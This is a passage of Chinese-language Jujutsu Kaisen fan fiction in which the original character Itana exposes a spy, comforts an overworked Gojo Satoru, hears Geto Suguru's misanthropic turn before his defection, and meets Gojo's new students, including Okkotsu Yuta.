少女笑眯眯地盯着她,眼里平静如水,“你是听哪一位前辈说的?”
“我不知道……那么多人,我怎么知道是哪一位前辈呢?”女仆回答。
伊田奈问:“你确定是前辈?不是和你一起进来的人?”
“确定,我确定。”
伊田奈这下不再迟疑,拨通管家电话,“这里有个人身份可疑,你们派人过来看看。”
那个女人被拉走之前仍旧死不承认自己是其他敌方派过来的间谍。
管家问清楚事情经过,扶了扶眼镜框:“你很不专业,正常来说间谍探子不会像你一样做的这么蠢,来之前没有调查清楚吗?”
女仆一脸慌张。
伊田奈平静目送女仆被困住双手,好心补充:“来做探子,那就机灵一点,什么该说,什么不该说自己心里得有数。”
女仆这下放弃伪装:“你是怎么看出来的?”
“自然是祸从口出了。”伊田奈说,“五条家没有人会说出‘是因为五条悟的出生才让咒术界变得不平衡,才让越来越多的人经历苦难’这种话。”
“为什么?这难道不就是事实?”
“事实?”伊田奈轻嗤一声,“没有绝对的平衡或不平衡,只有绝对的实力。你怎么不说是因为咒灵力量增强所以上天才让五条悟出生呢?就因为他面冷心热所以才这样胡编乱造?他善良,我可不善良,毕竟他可是我的饭票,按理来说我也应该替他出一份力。”
“像你这样的探子,五条家不是没有,相反,应该不少。但是,像你一样大张旗鼓在我雷区上蹦跶的蠢货还是不多的。毕竟我精力有限,不可能每个探子都要花力处理。”
管家穿着西服,背着手,赞同道:“的确,小姐说的对。别什么锅都往家主身上甩。”
女仆被押走。
管家朝伊田奈举了一躬,戴着白色手套的手放在胸前,“抱歉小姐,是我没有及时发现这批新人的异常,我会接受惩罚。”
“下次注意。”
伊田奈没多说。
回到房间,推开门,伊田奈呆愣站在原地。
只见阳光从窗户上射进来,落到屋内。
少年呆坐在窗前桌下,百无聊赖,双手摆在脑后,靠在墙上。白色头发高高竖起,润白如玉的脸上不知什么时候多出来一块缠绕在眼睛上的白色绷带。
伊田奈下意识屏住呼吸,喉咙动了动。
高专制服不亚于伊田奈悄悄偷看的网上男人战袍,伊田奈羞耻地耳朵红了红,心里开始不断默念清心咒。
男人至死是少年,处在花期的男人更是明媚动人!
五条悟察觉到开门动静,随意转头,开始碎碎念:“为什么站在门口不
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过来?真是的,快点进来啊!我跟你说,我下午又有其他事情,早上也有事情,中午的时间还是我好不容易抽出来见你的!”
自从变成最强以后,五条悟忙得像是陀螺,整日里连轴转,没有一天休息下来过。
每天都会有事情。
伊田奈一听到五条悟的话,悄悄勾起的嘴角撇下。
“是么,耽误到最强的时间了,我还真是没有眼力见啊。”
五条悟心下不妙,白皙修长手指拉开白色绷带,悄悄看了眼伊田奈木然的表情,暗道果然,他自然把绷带还原回去,放下手。
五条悟把脸凑到伊田奈面前,语气散漫,“你生气了?”
伊田奈觉得自己好像能闻到五条悟身上的荷尔蒙香味,带着说不出的、男人的成熟。
直至这样一张帅脸出现在眼前,伊田奈猛地闭上眼睛,不肯承认自己是被五条悟这家伙帅到了,她缓缓睁眼,移开视线,白皙手指碰到五条悟冰凉滑润的脸蛋,轻轻一推,没推动。
“不要生气嘛……我下次不这样说了,好不好……”
五条悟反手拉住伊田奈的手,他的手很大,几乎包裹住伊田奈的整个手掌。
他拉着伊田奈的手晃来晃去,“别生气了,好不好嘛……”
伊田奈抽出自己的手,“你根本不知道我在生什么气!”
看到五条悟一脸茫然的样子,伊田奈更是恨铁不成钢,“算了,不和你说了,和你说了你也不会听。”
伊田奈转身便走,五条悟身形高大,挡在门口,几乎挡住了半扇门。
“伊田奈,你就陪我呆一会儿嘛……好不好嘛!”猛男撒娇。
可惜,伊田奈这一次没有那么轻易原谅五条悟,伸手挠五条悟腋下,五条悟一笑,伊田奈就从他手臂下钻出去。
五条悟赶紧跟上。
伊田奈只是瞥了一眼,“不是大忙人吗,怎么现在有时间来找我们普通人了。”
五条悟受到狙击,也没有生气,跟在伊田奈身侧,两条大长腿游刃有余,不紧不慢迈动脚步。
“你告诉我你为什么生气,我改还不行嘛……”五条悟声音闷闷的,带着一丝不易察觉的委屈。
“悟,我想问你一个问题。”伊田奈停下脚步,嘴巴张了又合,合了又张,最后还是开口。
五条悟道:“你有什么问题随时都可以问我!这有什么?”
“好,”伊田奈说,“我想知道,你们咒术界是不是只有你一个咒术师?”
“伊田奈,你在开什么玩笑,怎么可能只有我一个咒术师?”五条悟自然不会认同这个答案,“咒术界那么多人,怎么可能只有我一个。”
“那为什么你要那么忙?”伊田奈问,“从前也就算了,起码还有休息的时间,你看看现在,你都快变成机器人了,就连来和我说说话,都要特地抽出时间。”
五条悟一时语塞,捡着好话说,“这不是因为实力变强了,所以做得自然要多一点了。”
伊田奈失笑:“我看你还真是被PUA惯了,咒术界那么多人,什么都指望你一个人做?我知道你善良,但你在善良的同时能不能多关注关注自己?”
31.离散前期3
“咒术界那么多的咒术师,咒灵每天都在滋生,你没有出现以前每天都有很多人死亡,你出现以后每天也有很多人死亡。”伊田奈说,“那么多人,你不可能每个人都能救过来,生老病死,某天可能出现的意外,这些东西我们很难改变。”
“与其把所有的责任都揽到自己身上,不如多花点时间在自己身上,把自己过得好一点。”
天灾人祸,生老病死,繁华世界中每个人都在面临的问题。
有人因此松了一口气,有人从此以泪洗面,有人麻木的看着一切,没等到咒灵,自然灾害的出现,自己结束掉自己的性命。
伊田奈有的时候觉得这个世界烂透了,但是却心怀不甘,想要在这个烂透了的世界里活出属于自己的一丝人样。
伊田奈接着说:“我从来不会把拯救世界当作我的愿望,世界上有那么多人,怎么可能拯救得过来?费尽心力拯救了一个人,不如费尽心力让自己变得开心。”
五条悟垂眸,幼驯染的话在耳边回响,天生六眼让他从小集万千宠爱于一身。
上过的课,读过的书更是化作生命的一部分。
他天生就要扛起大旗,要做一个很强很强的人,要拯救那些被咒灵围困在水深火热的家庭。
失去孩子的父母,失去父母的孩子,经历伴侣离世的痛苦。
人世间有太多的生老病死。
“伊田奈,我只是想让……更多拥有感情的人能够在一起。”五条悟酸涩开口,眸光闪动,眼里有失落,有不甘,“毕竟,你知道的,我很强。”
“你强大并不是你的错。”伊田奈说,“非要这样说的话,我也很强大啊!反正我不喜欢你总是为了别人的事情跑来跑去,自己还一点休息的时间都没有。”
伊田奈言尽于此,绕过五条悟,关上门。
五条悟站在原地,目送伊田奈离开,眼里若有所思。
下午的任务还要完成,早就已经定好的行程不能够轻易更改。
五条悟看了一眼时间,闭上眼,深吸一口气离开。
-
伊田奈接到一通来自夏油杰的电话,听到对方声音时,伊田奈还惊讶了一会儿。
“喂,小伊田,悟快回来了吗?”夏油杰的声音说不出来的奇怪。
“他不在,我也不知道他什么时候回来。”伊田奈回答。
“有没有兴趣出来喝杯咖啡?”又回到平日里暖暖的样子了。
伊田奈问:“你不找五条悟喝?”
夏油杰答道:“悟啊,他最近太忙了,每次打电话他似乎都有事情。”
夏油杰说话时应该是笑着的,但声音里却带着浓厚的哀伤。
伊田奈想到夏油杰平日里笑眯眯的样子,答应下来。
会面的地方是一家很高档的咖啡厅。
进出人流不多,但每个人身上穿着的衣服都是国际知名品牌最新款,女人脸上画着精致的妆容,踩着高跟鞋嘀嗒作响,男人穿着尖头皮鞋,深色西装,衣服上没有一丝褶皱。
伊田奈素面朝天,低头看了看自己穿着的淡色卫衣卫裤,脚上的运动鞋,若有所思。
门口迎宾小姐姐倒是没有对伊田奈的穿搭评头论足。她脸上挂着得体的笑容:“您好,几位?”
“两位,我的朋友夏油先生提前到了。”
“好的,我带你过去。”
夏油杰在二楼包间,包间视线很好,能够看到窗外。
夏油杰靠在窗边,面无表情,看到伊田奈过来,扯出一抹笑:“你来了。”
这笑容在伊田奈看来有几分怪怪的,像是观看灵异电影,又像是走进了什么志怪传闻。
夏油杰扫过伊田奈穿搭:“我就知道,你和他们不一样,很独特。”
说罢,夏油杰对迎宾小姐姐说:“您好,另一杯咖啡可以上了,谢谢。”
彬彬有礼,绅士儒雅。
“谢谢夸奖。”伊田奈谢过夏油杰夸奖,暗道夏油杰的心理可能要出问题了。
两个人都有心理问题,看来不论什么样的教育都容易产生心理问题。
咖啡很快上来,包间内只剩下两个人。
“你看,窗外有两个小孩子在吵架。”
玻璃窗外阳光充足,天气很好,两个带着黄色帽子,穿着白色衬衫的小孩推搡在一起,脸上挂着生气的表情。
其中有一个小孩伸手推了另一个小孩一把,那个小孩跌倒在地,眼中含泪,另一个小孩站在原地笑。
“你看,人类就是这么卑劣,从猴子进化而来,到最终仍旧是一样的野蛮。”夏油杰勾起嘴角,笑着看看这幅画面,“你说,要是人类都死了,大家全都是一样的,是不是就不会这样了?”
夏油杰搅动手中的咖啡,耐心等待伊田奈的回答。
“如果你能造出原子弹,把地球炸了,也不是不可以。”伊田奈冷漠看着被推搡的小孩哭泣,“毕竟要是大家都死在一起,好像也不是不可以接受。”
“呵呵……”夏油杰轻笑,“我就知道你会是一个有趣的人,要是我和悟说这些事情,你猜猜他会怎么做?”
“我猜这些干嘛,我对他是怎么做不是很感兴趣。”五条悟那个善心爆棚的家伙一定会第一时间冲到现场,给推人的那家伙一个地瓜,然后做一个公正的裁判官,告诉孩子们做人的道理。
“悟啊,他会先反驳我的观点,然后突然出现在玻璃窗外,把跌倒的孩子拉起来,质问推人的小孩为什么要这样做。弄清楚事情的真相,他还会告诉那两个小孩子很多道理,一定要看到他们和和气气在一起才会露出笑容。”
夏油杰自顾自地说。
“我从前,可能也会吧。但是我现在觉得,要是他们都死了,那么就不会有那么多的麻烦了。推人的小孩也好,被推的孩子也好,只要他们都死了,就什么感觉都不会有了。”
夏油杰眼睛笑得更弯了,笑意深不见底。
伊田奈若思索斯瞧了夏油杰一眼,上次聚餐时也是这样的笑容。只是那时候灰原同学刚刚过世,伊田奈不想提
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起他们的伤心事,更不想刺激到他们,于是选择什么都不说。
夏油杰绝对是心理变态了。要么抑郁,要么变态,二者不离其中。
“你那么操心别人的事情做什么,人家做得怎么样和我们没关系,我们又不是上帝,不可能什么事情都管。”伊田奈若无其事说。
“你难道不觉得这些画面很刺眼,很想要毁掉?”夏油杰不懂,问向这个没有接触咒术界过多的女孩。
那些难以言喻的想法在阴暗的角落里生根发芽,悄无声息占据了血脉的每一个角落。
死了,所有猴子都死掉。世界上就不会再有阴霾,就不会再有黑暗。
那时候的世界一定不会像眼前这个肮脏的世界一样,叫人感到厌恶、恶心。
那时候,就不会再看到那些人的丑态。
面前的少女突然转过头,皱眉,难以言喻地看着他。
夏油杰笑着问:“你也觉得我很恶心吗?”
少女的眉头皱得更深了,“你发烧了?”她说。
“不,我没发烧,我的身体很好。”夏油杰听到自己的声音。
“你没发烧,那怎么说胡话?”殷红的嘴唇一张一合,在白皙的脸蛋上转动。
“我果然是一个恶心的人。”夏油杰自顾自说。
“谁说你恶心了?”伊田奈正色道,“我觉得可能你最近压力有点大,要不最近还是先别去学校了?你们能不能休学,看在咱们之前吃过那么多场饭的份上,我愿意带你学习如何散心,如何让自己过得更开心。”
伊田奈内心早已泪流满面,才开导五条悟没多久,又要开导夏油杰,不知道硝子精神状态怎么样。
“我难道不恶心吗?”夏油杰脸上仍旧是那副笑眯眯的样子,“可是我觉得我们真的很讽刺,你不觉得那些咒灵很恶心吗?”
“呃……我觉得你好像问错人了,我不从事咒灵工作。”伊田奈为自己辩解,“虽然我能看到,但是拯救人类从来都不是我的任务。”
“我的任务就是吃吃喝喝,每天把自己过得开开心心。”伊田奈说,“你可能是最近压力大了。”
“五条悟真是的,连自己的挚友都不关心,脑子一根筋!”
夏油杰没有附和这句话,他说:“志向不同罢了,悟他可是最强啊。”
学会反转术式后的五条悟与夏油杰早就是两个世界的人了。
两个不会走到一起的人。
“我受不了了。”
额头上突然多出来一只冰凉的手。
伊田奈一只手搭在夏油杰额头上,另一只手搭在自己额头上,乌黑的刘海此时乱作一团。
夏油杰睁开眼:“你在做什么?”
“在看你是不是发烧了?”伊田奈说,“我算是听出来你想说什么了,你还真是看得气我,这么大一件事情,竟然敢和我说。”
她收回手:“好的,没有发烧。你……算了算了,你要说就说吧,我尊重每一位群众说话的权利。”
夏油杰失笑。
32.教师悟
“你很有意思。”夏油杰笑眯眯。
伊田奈舌尖抵住后槽牙,憋出一个微笑:“能不能一次性说完?”
“谢谢你愿意听我说话,不过我没什么想说的了。”
伊田奈软磨硬泡,夏油杰一句多余的话不肯再说,只是说些无关紧要的玩笑话。
伊田奈骂道:“当遛狗呢!”
伊田奈走前骂了夏油杰一顿。
走之后给五条悟打了个电话,告诉五条悟他的同学精神可能要出问题了。
五条悟一开始不以为然,语气嘻嘻哈哈。
“你自己看着办吧,我已经努力开导了,尽我所能,最后结果不如意我也没办法了。”伊田奈说。
五条悟当天晚上回来。
回来时候伊田奈正准备关灯睡觉。
“你不继续上班了?”伊田奈不理解但尊重,该生气的该说的都说了,五条悟听不听他什么办法都没有。
“回来了,我约了杰明天见面,他答应了。”五条悟说。
“那正好,反正我已经尽力了。”伊田奈说,“今天晚上你还要去上班吗?”
“不去了,今天好好睡一觉。”五条悟扬了扬嘴角,“而且,我明天一整天都不用工作,和杰吃饭晚上就能来陪你!”
五条悟像一只毛茸茸的大猫,摇头摆尾,等待夸奖。
“真棒!好了,可以帮我关灯了,我要睡觉!”伊田奈夸奖,夸完让五条悟把灯关了。
五条悟拉下嘴角,嚷嚷道:“你变了,伊田奈!”
“对啊!我变了,变得爱睡觉了。所以可以关灯了吗?”伊田奈眨眼。
“不可以,”五条悟拒绝,“我今天要和你一起睡!你等等我!”
“你和我睡?你都没洗漱,等你洗漱完了都几点了!”
“我不管!”
五条悟迅速洗漱抱着被子枕头,一一铺好在伊田奈身旁。
“好了,可以关灯了。”五条悟关灯。
眼睛适应黑暗后,伊田奈能够看清面前人的轮廓曲线。
“我能摸摸你的绷带吗?”
伊田奈眼馋绷带很多次,但从来没有一次上手摸过。
“可以啊,随便。”五条悟转过身,挪动身体,离伊田奈的距离近了近。
伊田奈纤细的手指抚摸上带着纹理的绷带,感受到抹布一样的质感和纹理。
温凉的触感隔着绷带传来,五条悟心上像是掉落一片轻盈的羽毛,挠得浑身痒痒。
第二天,五条悟去见了夏油杰。
早上出门,晚上回来,整整一天。
五条悟回来时面容疲倦。
“和夏油杰谈得怎么样?”
“还好吧。”
五条悟长手长脚、人高马大,直接瘫在沙发上。
“我感觉,我们……”好像多了一层看不见的隔阂。
后面半句话,五条悟未能说出口。
五条悟笑了笑:“没什么,这个点回来,你估计已经没有精力做其他事情了。”
“下次。”伊田奈说,没有再继续追问夏油杰。
再次听到夏油杰的消息,是他成了咒术界的通缉犯。
听说他杀掉了自己的父母,叛逃咒术界。
“尸体呢?你们看到尸体了吗?”伊田奈问五条悟。
五条悟摇头,眼底神色晦暗不明:“不清楚,只知道杰的家里有一把大火,大火熄灭时,在家里发现了两具面目全非的尸体。”
除此之外,有人亲眼目睹夏油杰杀掉了普通人,是一对乡下的夫妇。
五条悟一下子成熟了好多岁,有几天把自己关在房间里,一句话都没说。
出门的时候笑眯眯的,遇到谁都会热情的打招呼,时不时开两句玩笑。
只有在伊田奈面前,会一言不发的坐着、发呆。
高专学习生活结束,五条悟选择留校任教,除了处理五条家的事情以外,他还要处理高专工作。
伊田奈听到这个决定第一反应:“当老师,你疯了?”
她大大的眼睛里装满了大大的疑惑。
五条悟:“你难道不觉得当老师很酷?”
伊田奈老实摇头,头都快摇成拨浪鼓了。
“不觉得,一点都不觉得。我才不想当什么好人,干涉他人因果。”
五条悟说:“我以后一定能带出一批和现在不一样的学生。”
伊田奈欲言又止。
转眼间,伊田奈顺利从初中高中毕业,进入大学生活。
五条悟每个周末会专门留出时间,站在大学校门口等伊田奈出现。
五条悟手长脚长,一头白毛站在人群中就是最靓丽的风景,勇敢的女大会上前寻找联系方式。
没有一个勇敢的女大成功要到五条悟的联系方式。
“怎么办呢?我已经有女朋友了,要是我女朋友知道我加其他人的联系方式,会不高兴的。”
这回答是最有用的回答。
五条悟用过别的回答,但那些回答都没有这个回答具有杀伤力,能够体面劝退其他女生。
周末早早出现在学校门口,皱眉拨通伊田奈电话号码,电话对面的人一副还没睡醒的样子。
五条悟化身闹钟叫醒伊田奈。
周末快结束的时候,五条悟目送伊田奈回去。
同校的女生很羡慕伊田奈,能够有这样一个帅气的男朋友。
伊田奈“呵呵”一声,想起五条悟的贿赂,闷不作声。
大学毕业,伊田奈成了“家里蹲”。
前几年借助五条悟的资助,伊田奈在打游戏的同时投资电子科技产业,如今不说赚得盆满钵满,但也衣食无忧,就算没有五条悟的资助也能够过得潇洒。
时间来到2016年。
2016年,这一年伊田奈21岁,已经成功大学毕业,全职宅家,偶然兴起会打飞的环游世界。
咒术界不知道从哪里传出消息,五条悟从小一起长大的幼驯染其实拥有咒力,是个天才。
这消息如同雨后春笋,以迅雷不及掩耳之势疯狂生长,在咒术界疯传。
一时间,伊田奈名声大噪。
知名的,不知名的,不知死活的家伙们蜂拥而上,来寻伊田奈麻烦,要不就是寻找伊田奈打架斗殴。
寻衅滋事的家伙被五条悟派来暗中保护伊田奈的人解决掉。
五条悟亲自下场解决了一批。
谣言渐渐散开。
五条悟解决完造谣生事的,凑到伊田奈跟前:“也不知道究竟是怎么回事,小奈奈,你难不成真的有咒力?”
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“是谁在造谣我?我可是一点咒术界的天分都没有!”伊田奈说。
“没事,你不想参与咒术界的相关事项,没人能强迫你。”
26岁的五条悟已经褪去少年时候的青涩感,变得成熟,站在他身边就能感受到浓烈荷尔蒙气息。
五条悟不知道什么时候已经变成了一个大男人,一米九的大男人。
伊田奈的身高停留在一米六出头,比五条悟矮了一截,想要看清他的脸,需要微微抬头。
不过更多时候不需要伊田奈抬头,五条悟会弯下腰,或是半蹲着将就伊田奈。
五条悟自己都没有察觉,他从来不会对任何一个人像对待伊田奈这样有耐心。
夜蛾正道成了高专的校长,一批又一批学生从咒术高专走出去,成为咒术界的栋梁人物。
今年五条悟带了三个新生,一个叫禅院真希,一个叫狗卷棘,一个是熊猫。
三个新生里,伊田奈最喜欢熊猫。
熊猫长得可爱,说话风趣幽默,虽然壮实了一点,但圆滚滚的,走起路来十分可爱。
最主要的是,熊猫这家伙在伊田奈面前不敢造次。
上次熊猫在伊田奈面前开黄腔,伊田奈当时笑眯眯的什么都没说,转头就告诉了五条悟,熊猫被一顿暴揍,好好收拾了一顿。
从那以后,熊猫再也不敢随便开伊田奈的玩笑。
可熊猫生性八卦,总是喜欢唠嗑家常,打听八卦。
“伊田奈,你和五条老师究竟是什么关系啊?难不成五条老师喜欢你,可是你们也不像啊!”
“伊田奈,我们是不是好朋友,是好朋友你可不可以让五条老师不要再盯着我了?他最近老是盯着我,我压力很大,呜呜呜……”
“伊田奈,你说五条老师这次要准备给我们考核什么?能不能悄悄透题?”
熊猫叽叽喳喳,企图从伊田奈身上得到答案,但从来都只能看到伊田奈笑眯眯的一张脸。
还要被当做猫咪一样一通好撸,其余的一点消息都套不到。
熊猫看看禅院真希,又看看狗卷棘。
果断扭头转向狗卷棘:“棘,你难道就不能用美色去诱惑伊田奈,这样我们就能够获得情报了!”
狗卷棘表示无能为力。
熊猫扭头转向禅院真希,话还没说出口,禅院真希冷着一张脸,吐字冰冷:“别烦我。”
熊猫无能为力,只能窝囊看着五条老师称霸高专,外加一个没有咒力的伊田奈整日在高专,像度假似的。
熊猫有次加练累得气喘吁吁,伊田奈才睡醒到操场散步,熊猫看得两眼眼泪汪汪。
“凭什么?!凭什么伊田奈你明明没有咒力却可以住进咒术高专,还住到五条老师隔壁!把高专当做后花园!呜呜呜……我也想!我也想!……”
熊猫还没想完,被五条悟拖走。
五条悟笑着说:“哎呀呀,小奈奈你不用管他。”
转过头,五条悟嘴角上扬,用明快的语气告诉熊猫:“熊猫,看来你训练还不够啊,竟然还有心情说闲话,既然这样,那就加练吧!来,我看着你来!”
熊猫求饶的眼神投向伊田奈,伊田奈刚想开口。
五条悟笑着挥手:“不用管他,我有分寸。熊猫,快过来!”
33.乙骨出场
熊猫训练完,躺在地上一动不动,眼泪汪汪。
狗卷棘把头深深埋进衣领,视线飘忽,假装什么都没看见。
禅院真希更是熟视无睹:“谁让你话这么多。”
几个人嘻嘻哈哈扭打作一团。
伊田奈伸了个懒腰:“你们接着训练,我出去了!”
“你有什么事情要出去?”五条悟耳朵尖,隔着大老远就听到了伊田奈的话,瞬间冲到伊田奈面前:“要去多久?”
五条悟撇嘴,一脸不开心。
“晚上就回来了,我要出去逛街!”伊田奈笑着说,“你又没时间,每天不是训练就是出任务,根本没时间出去好吗?”
五条悟暗道的确是这个样子,最近事情很多。
“我周末陪你一起去?”五条悟忖度,扶着白色绷带满脸纠结,“最近是有一点忙,但是我会这两天把这些事情做完!”
“可以啊,不过我还是要这两天走,周末再陪你去一次!”
伊田奈来到商场门口,遇到一个不速之客——禅院直哉。
这家伙总是会趁五条悟不在突然出现在某个神奇的角落。
禅院直哉穿了一身笔直的西装,领带一丝不苟,头发高高立起,皮肤白皙。
他站在人群中间,挺直腰杆,气质出众。
禅院直哉看到门口的女人眼睛亮了亮,直起身,拿起手中的红玫瑰,径直走到伊田奈面前。
啪——
禅院直哉歪过头,侧脸多了一个鲜明的五指印,整张侧脸英俊狰狞。
禅院直哉舌尖抵住后槽牙,咬住下唇,嘴里弥漫一股铁锈味。
“消息是你放出去的,你疯了?”伊田奈丝毫没感到愧疚,右手还有点疼,她揉了揉手腕,质问禅院直哉。
“不是我。”禅院直哉道,“我才不屑于做这些事情。”
“不是你,那消息也是从你这里透露出去的,废物,连点消息都守不住。”伊田奈骂道,“早知道当时就应该一麻袋给你沉海底。”
禅院直哉勾了勾嘴角,心底涌过一股快意:“人我已经处理了,这是给你的道歉礼物。”
他递出一束包装精美的玫瑰。
玫瑰上带着露水,是中午采摘下来,下午送到日本的。
“不需要。”伊田奈想也不想拒绝。
“你如果不收下,那我今天可是会一整天跟着你。”
伊田奈眼里带着异样的嫌弃:“我要买东西,没地方拿,你要非得送,在这等我买完东西。”
戴着黑色装饰眼镜框的黑发女人走在前面,女人皮肤白皙如玉,又如一层薄纸。
她唇色殷红,不施粉黛,也有股别样的美。
伊田奈走过书店,买了当下热销的最新款漫画,又挑选了一些热销书。
路过服装店,到店里选了一些看着还不错的衣服。
其中有一些衣服,看着就很适合津美纪。
想到津美纪,伊田奈眼神暗了暗。
歇了继续逛街的心思,伊田奈接过禅院直哉手里的玫瑰,“我要走了。”
“五条悟要是看见你的玫瑰,会不会来找你打一架?”伊田奈顿住脚步,转过身问禅院直哉。
禅院直哉不以为意:“呵,那不重要。”
伊田奈带着玫瑰回高专,本以为会看见五条悟,结果连影子都没瞧见。
反倒是熊猫、狗卷棘、禅院真希三人瞪大了眼。
熊猫首当其冲:“哇,伊田奈有人和你表白了!”
熊猫作为情场纵横老油条第一时间就猜到。
“垃圾桶里捡的。”伊田奈扶了扶眼镜框。
“不老实嘛,伊田奈!”熊猫害羞低头,“我还以为五条老师喜欢你呢,结果原来是别人喜欢你呀!”
熊猫收起害羞,凑到伊田奈面前,“所以,你到底是喜欢五条老师还是喜欢送玫瑰的人呢?好好奇啊!”
“在想什么?快把脑子里乱七八糟的东西全都丢掉。”伊田奈一巴掌拍开熊猫,绕过熊猫回了屋子。
玫瑰带着浓烈的香气,颜色美丽动人,火红炽热。
路过垃圾桶时,伊田奈犹豫了一下,最后还是把玫瑰放在桌上,撕开包装,插进花瓶。
很漂亮。
掏出最新杂志,伊田奈过上了幸福生活。
第二天训练结束。
“五条老师,等等!别走!”
熊猫第一个冲到五条悟身边,气喘吁吁。
五条悟问他:“怎么了?”
“五条老师,你不知道吗?”熊猫一脸神秘,“昨天给伊田奈送东西的人!”
“送什么东西?”五条悟抬眼,不以为意。
“玫瑰花啊!一大束漂亮的玫瑰花!”熊猫笑嘻嘻,“好漂亮啊!”
“什么玫瑰?”五条悟来了精神。
“老师你回去看看就知道了。”
五条悟敲了敲伊田奈的门,没有回应。
“我进来了!”五条悟推开门,只见门口的桌上摆放着一瓶漂亮的红玫瑰,地面上还有残留的包装袋。
“什么嘛……”五条悟觉得红玫瑰异常扎眼,“真难看,什么人送的花这么难看。”
再一看屋内,被子散作一团,最新款的漫画书丢在地上。
黑色长发散落在脖颈处,锁骨露出的曲线恰到好处,真丝吊带睡衣的吊带松松垮垮散在肩膀。
五条悟视线从白皙锁骨处移开,咳嗽两声,酝酿情绪。
“伊田奈!伊田奈!……”早晨播报的闹钟准时响起。
伊田奈恍惚睁开眼,“你好吵。”用被子蒙住脑袋接着睡。
“你真是无情,真的不睁开眼看看我吗?桌上的玫瑰是哪个没品味的送给你的!我要给你换了!我送你更好的,更红的!你同不同意?”
伊田奈恍惚之间点头答应。
再次睁开眼,只见禅院直哉送的玫瑰花已经不见了,包装用的装饰也跟着消失不见。
取而代之的,是一个生机勃勃的插花瓶。
取而代之的,是一朵朵更大更红的玫瑰。
桌上留下一张纸条。
【那些没品味的玫瑰就不要留下了,你已经答应我要留下我送的玫瑰!】结尾还有一个笑脸。
伊田奈失笑,收好小纸条。
伏黑惠没有准时放学,他带着书包打算翻墙出去。
书包丢出去,墙翻到一半,他看到一个熟悉的身影。
伏黑惠挂在墙上,一脸木然:“你怎么来了?”
伊田奈笑眯眯挥手打招呼:“想你了,来看看你。”
“虚伪。”伏黑惠轻轻跳下
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墙,站起身,拍拍裤子上的灰尘,拿起书包。
“走了,就知道今天你会出来。”伊田奈走在前面,伏黑惠背着书包跟出来。
医院。
护士取下点滴:“这位病人最近情况比起前一段时间好了很多,但是医生们还是查不出病因。”
津美纪一脸苍白躺在病床上,一动不动。
伏黑惠沉默看着津美纪,从抽屉里取出手帕,轻轻擦拭津美纪的脸庞。
伏黑惠想不明白,想不明白这个世界上所谓的公平正义。
伊田奈一个地瓜敲到伏黑惠头上:“别胡思乱想,我前两天来看过津美纪,还是老样子。”
伏黑惠捂住头:“不要随便敲我。”
“谁叫你胡思乱想。”
“行了,你要在这陪陪你姐姐也不错,走的时候注意安全,我就不打扰你们了。”伊田奈说。
“你要走了?”
“嗯,给你们留下单独相处的时间。”伊田奈笑着看向伏黑惠,“或者如果你不想,我可以等等你。”
“你还是先走吧。”
伊田奈离开医院。
回去的路上,伊田奈看见一个粉色头发的少年,他的发色本就引人注目,伊田奈路过时,不小心听到他和护士的对话。
大概是他爷爷的病情在这所医院无法完全康复,医生建议转回居住地,不要浪费时间。
少年神色低落,不断询问护士有没有别的方法。
伊田奈恰好对上少年视线,少年愣了一下,微微一笑。
伊田奈点头示意,明明已经走出去好几步,少年带着笑意的脸却不断在眼前出现。
伊田奈倒回去:“他爷爷生的是什么病?也许我可以提供帮助。”
护士说:“他的爷爷不是生病,而是年纪大了自然出现一些行动上的不便,这个不仅仅是我们,很多大医院也无法解决这个问题。”
虎杖悠仁失落低头:“是的,谢谢你。”
“好吧,那太可惜了!这是我的名片,以后如果你有困难,可以给我打电话。”伊田奈笑着递出名片。
“谢谢你。”虎杖悠仁谢道。
伊田奈回到高专,第一时间在人群中发现了一张陌生面孔。
一张带着阴郁气质的陌生面孔。
男生年纪不大,眼睛明明是笑着的,却能从中看出一股急促和紧迫。
他有着沉重的黑眼圈,身材高挑。
乙骨忧太看到伊田奈时微微愣住,随即笑着问:“这也是我们的同学吗?”
熊猫抢答:“当然不是!”
“哦!”乙骨忧太略感惊讶,“是老师吗?”
“也不是。”五条悟说。
“是五条老师带来的关系户!”熊猫抢答,在五条悟之前悄悄凑到乙骨忧太耳边低声说:“总之这个女人背景强大,容我以后给你慢慢细说。”
乙骨忧太局促笑道:“那就麻烦熊猫前辈了。”
乙骨忧太打量伊田奈的同时,伊田奈也在悄悄打量他。
鉴于五条悟在给他们上课,伊田奈没有直接走过去,只是站在远处远远看了几眼。
正打算离开,没想到听到五条悟的声音:“伊田奈,快过来呀!”
五条悟走过来笑眯眯地说:“我又多了一名新学生喲!”
34.抱歉
乙骨忧太有些腼腆,双手捏作拳头,大拇指不停摩擦食指。
“你好,我叫伊田奈,是五条悟的朋友!”伊田奈伸出手。
他悄悄抬眼看面前的女生,她看起来年纪就不大,没想到竟然不是学生,是五条老师的朋友。
乙骨忧太慌忙伸出手,“你好,我叫乙骨忧太,是五条老师新来的学生。”
伊田奈目光定定落在乙骨忧太身上,莫名感到熟悉。
片刻,她终于想起来了,“我见过你!”
乙骨忧太惊讶:“我们见过?……”
“路过天桥的时候经常看见你一个人站在那里,还穿着校服,所以有印象。”伊田奈说,“我有时候也喜欢站在天桥发呆,但当时和你不熟悉,所以每次都只是从你身边路过。”
乙骨忧太脸上表情僵住,整个人陷入一股尴尬的境地。
“呀?不好意思了?”伊田奈接着补充,“其实那个地方有很多像你一样的学生,你不用焦虑,我当时注意到你可能是因为看到好几个女生找你要联系方式?”
女生找乙骨忧太要联系方式,乙骨忧太身后的咒灵会突然龇牙咧嘴,朝女生恐吓。
女生看不见,是乙骨忧太在隐秘地安慰情绪不稳定的咒灵。
也是这样偶然的遇见,伊田奈才会注意到他这个人,以后经常去看他。
曾经有一次,她对上乙骨忧太的视线,眼神冰冷,充满寒意,好像一片永远走不到终点的沙漠。
“是吗?我都没有印象了。”乙骨忧太挠头。
也许,乙骨忧太记不清楚那次对视吧。
五条悟看着两个年轻面孔:“不错不错,大家真是有缘分!以后也要像现在这样热情!”
傍晚,五条悟到伊田奈屋子里偷吃小零食,“喂,小伊田,你以前见到乙骨忧太那孩子的时候是怎么样一个情形?”
“没有对世界的渴望眷恋,想要从天桥上跳下去一死了之。”伊田奈说,“这样也没什么不好,很多人都有这样的想法。不过这样看来这位学生的思想应该是很成熟的,至少比熊猫成熟。”
电脑屏幕上是最新款的游戏,游戏屏幕显示“game over”。
伊田奈放下鼠标,靠在五条悟肩上,拿他怀里的薯片,手指到了包装袋口,停住。
“你喂我,我手比你干净。”
“好吧。”
五条悟取出薯片精准投喂。
“下周有个很棘手的问题,我可能要出去好几天,这几天你能不能帮我照看照看我可爱的学生们?”五条悟一边投喂一边问。
